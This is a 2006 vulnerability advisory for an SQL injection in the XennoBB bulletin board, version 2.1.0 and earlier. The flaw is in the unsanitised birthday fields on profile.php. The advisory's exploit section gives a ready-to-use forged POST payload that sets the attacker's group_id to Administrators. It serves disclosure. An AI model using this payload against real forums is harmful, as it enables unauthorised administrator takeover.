XennoBB <= 2.1.0 "birthday" SQL injection

[c.boulton () mybboard com]

--------------------- SUMMARY ---------------------

Name:
        XennoBB "birthday" SQL Injection (6/8/2006)

Vendor / Product:
        XennoBB Group
        http://www.xennobb.com/
        
        Description:
        The world's most revolutionary and easy to use bulletin board.

        Revolutionary because it redefines the boundaries of usability
        and power; from the first version it's a real alternative to
        the commercial forums out there.

        How can XennoBB be described in few words? 
        Lightning-speed, stable, SECURED(?) and modern.
        
Version(s) Affected:
        <= 2.1.0
        
Severity:
        High
        
Impact:
        SQL Injection (Remote)

Status:
        Unpatched
        
Discovered by:
        Chris Boulton <http://www.surfionline.com>
        
------------------- DESCRIPTION -------------------

An exploit exists in the above mentioned versions of XennoBB which
can be exploited by malicious users to conduct SQL injection attacks.

Input passed to the "bday_day", "bday_month" and "bday_year form
fields is not properly sanitised before being used in an SQL query.
This exploit can lead to manipulation of SQL queries by injecting
arbitary SQL code.

--------------------- EXPLOIT ---------------------

Submit a forged POST request to

/profile.php?section=personal&id={your registered user ID here}

With the following as the POST data:

form_sent=1&form[sex]=a&bday_day=1&bday_month=2&bday_year=", group_id=1, birthday="

Successful exploitation leads to the user group being changed to
that of Administrators.